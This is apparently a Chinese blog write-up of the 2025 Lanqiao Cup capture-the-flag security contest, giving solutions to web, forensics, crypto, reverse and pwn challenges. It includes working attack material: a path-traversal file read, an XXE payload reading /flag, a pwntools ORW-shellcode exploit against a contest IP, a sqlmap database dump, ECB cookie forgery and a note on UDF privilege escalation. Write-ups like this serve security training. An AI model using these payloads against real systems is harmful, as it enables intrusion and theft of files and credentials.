2025年第十六届蓝桥杯网络安全赛项Writeup

2025年第十六届蓝桥杯网络安全赛项Writeup

情报收集

黑客密室逃脱

1
/file?name=app.py

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write(hidden_file_content)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/logs')
def logs():
return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
return render_template('secret.html')

@app.route('/file')
def file():
file_name = request.args.get('name')
if not file_name:
return render_template('no_file_name.html')
full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
return render_template('no_premission.html')
try:
with open(full_path, 'r') as f:
content = f.read()
return render_template('file_content.html', content=content)
except FileNotFoundError:
return render_template('file_not_found.html')

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')

访问/name=hidden.txt

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def simple_decrypt(hex_str, key):

    encrypted = bytes.fromhex(hex_str)

    decrypted = []

    for i in range(len(encrypted)):

        key_char = key[i % len(key)]

        decrypted.append(chr(encrypted[i] - ord(key_char)))

    return ''.join(decrypted)



encrypted_data = "d9d1c4d9e0aa96cec7ad9d9c6f60abc79ad792a898ce9ca671729e94a0cac6ab97a8c4cdcbae709d6bb0"

encryption_key = "secret_key9993"



flag = simple_decrypt(encrypted_data, encryption_key)

print("解密后的Flag:", flag)

数据分析

ezEvtx

image.png

flowzip

全局搜索字节流flag
image.png

image.png

1
flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

密码破解

Enigma

image.png

ECBTrain

注册两个账户,第一个带有admin,用第一个的一半去base64伪造

1
print(base64.b64encode(b'\xd6\xda\xe8Q\x86\x15\xf8"!\x97  \x18N\x1b\xb2').decode())

image.png

逆向分析

ShadowPhases

  • IDA打断点动调
    image.png
1
flag{0fa830e7-b699-4513-8e01-51f35b0f3293}

BashBreaker

博弈树哈哈
image.png

EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
class RC4Context:

    def __init__(self):

        self.S = bytearray(256)

        self.i = 0

        self.j = 0

def rc4_init(ctx, key):

    key_length = len(key)

    for i in range(256):

        ctx.S[i] = i

    j = 0

    for i in range(256):

        j = ((key[i % key_length] ^ 0x37) + ctx.S[i] + j) % 256

        ctx.S[i], ctx.S[j] = ctx.S[j], ctx.S[i]

    ctx.i = 0

    ctx.j = ctx.i

def rc4_next(ctx):

    ctx.i = (ctx.i + 1) % 256

    ctx.j = (ctx.j + ctx.S[ctx.i]) % 256

    ctx.S[ctx.i], ctx.S[ctx.j] = ctx.S[ctx.j], ctx.S[ctx.i]

    v2 = ctx.S[(ctx.S[ctx.i] + ctx.S[ctx.j]) % 256]

    return ((v2 << 4) | (v2 >> 4)) & 0xFF

def decrypt(key, ciphertext):

    ctx = RC4Context()

    rc4_init(ctx, key)

    plaintext = bytearray(len(ciphertext))

    for i in range(len(ciphertext)):

        plaintext[i] = ciphertext[i] ^ rc4_next(ctx)

    return plaintext.decode('latin-1')

def main():

    key = b"EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD"

    ciphertext_hex = "BBCA1214D0F199A79148C32873ADB7758C89CDDD2D505D7F95B1A49D0943E1D2E966EA1898C6CC023918"

    ciphertext = bytes.fromhex(ciphertext_hex)

    plaintext = decrypt(key, ciphertext)

    print(f"Decrypted: {plaintext}")


if __name__ == "__main__":

    main()

image.png

漏洞挖掘分析

RuneBreach

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

# 设置架构和调试环境
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ["cmd.exe", "/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

# 建立远程连接
io = remote('39.107.245.163', 21280)

# 跳过前4个防御选项
for _ in range(4):
io.sendlineafter("Defend? (y/N):", 'n')

# 获取关键内存地址
io.recvuntil("[BOSS] Your place is mine now ")
mmap_addr = int(io.recvuntil("!")[:-1], 16)
log.info(f"Mmap address: {hex(mmap_addr)}")

# 构造ORW链式shellcode
shellcode = shellcraft.open('/flag') # 打开flag文件
shellcode += shellcraft.read(3, mmap_addr, 0x50) # 读取flag到mmap区域
shellcode += shellcraft.write(1, mmap_addr, 0x50) # 将flag内容输出到标准输出

# 发送并执行shellcode
io.sendlineafter("territory:", asm(shellcode))

# 进入交互模式
io.interactive()

image.png

星际XML解析器

  • XXE漏洞
    1
    2
    3
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
    <data>&xxe;</data>

image.png

数据库安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login.php HTTP/1.1
Host: eci-2zehwxcvlcuib9mlo1xu.cloudeci1.ichunqiu.com
Origin: http://eci-2zehwxcvlcuib9mlo1xu.cloudeci1.ichunqiu.com
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1743421498,1743733603,1743819073,1744245590; PHPSESSID=c6ls0lokg3mddjf8oc3m2jacvn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://eci-2zehwxcvlcuib9mlo1xu.cloudeci1.ichunqiu.com/index.html
Content-Length: 29

username=admin&password=admin
1
python sqlmap.py --level 5 --random-agent -r request.tmp -D ctf --dump-all

1
2
3
4
5
6
7
8
Database: ctf
Table: users
[1 entry]
+----+----------------+----------+
| id | password | username |
+----+----------------+----------+
| 1 | passss1w0rdddd | admin |
+----+----------------+----------+

gopher 写 so文件,先看priv那个属性,定死了只有那个目录能写入,找个so文件写进去,再导入函数,执行命令。udf提权


2025年第十六届蓝桥杯网络安全赛项Writeup
https://xu17.top/2025/04/26/2025年第十六届蓝桥杯网络安全赛项Writeup/
作者
XU17
发布于
2025年4月26日
许可协议
XU17